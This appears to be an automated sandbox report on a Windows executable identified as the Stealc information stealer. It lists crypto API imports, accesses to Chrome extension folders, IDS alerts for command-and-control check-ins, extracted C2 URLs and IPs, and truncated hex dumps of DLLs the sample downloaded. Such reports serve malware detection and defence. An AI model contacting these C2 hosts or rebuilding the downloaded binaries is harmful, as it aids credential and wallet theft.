Code function: 0_2_6C556C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6C556C80

Source: Wf9qnVcbi8.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source:	Binary string: mozglue.pdbP source: Wf9qnVcbi8.exe, 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: Wf9qnVcbi8.exe, 00000000.00000002.2227149641.000000006C77F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: Wf9qnVcbi8.exe, 00000000.00000002.2227149641.000000006C77F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: Wf9qnVcbi8.exe, 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\Wf9qnVcbi8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2044243 ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in 192.168.2.5:49704 -> 85.28.47.4:80
Source: Traffic	Snort IDS: 2044244 ET TROJAN Win32/Stealc Requesting browsers Config from C2 192.168.2.5:49704 -> 85.28.47.4:80
Source: Traffic	Snort IDS: 2051828 ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1 85.28.47.4:80 -> 192.168.2.5:49704
Source: Traffic	Snort IDS: 2044246 ET TROJAN Win32/Stealc Requesting plugins Config from C2 192.168.2.5:49704 -> 85.28.47.4:80
Source: Traffic	Snort IDS: 2051831 ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 85.28.47.4:80 -> 192.168.2.5:49704

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 85.28.47.4/920475a59bac849d.php
Source: Malware configuration extractor	URLs: http://85.28.47.4/920475a59bac849d.php
Source: Malware configuration extractor	IPs: 77.91.77.82
Source: Malware configuration extractor	IPs: 77.91.77.82

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 02 Jul 2024 02:11:59 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 02 Jul 2024 02:12:05 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 02 Jul 2024 02:12:06 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 02 Jul 2024 02:12:07 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 02 Jul 2024 02:12:07 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 02 Jul 2024 02:12:09 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 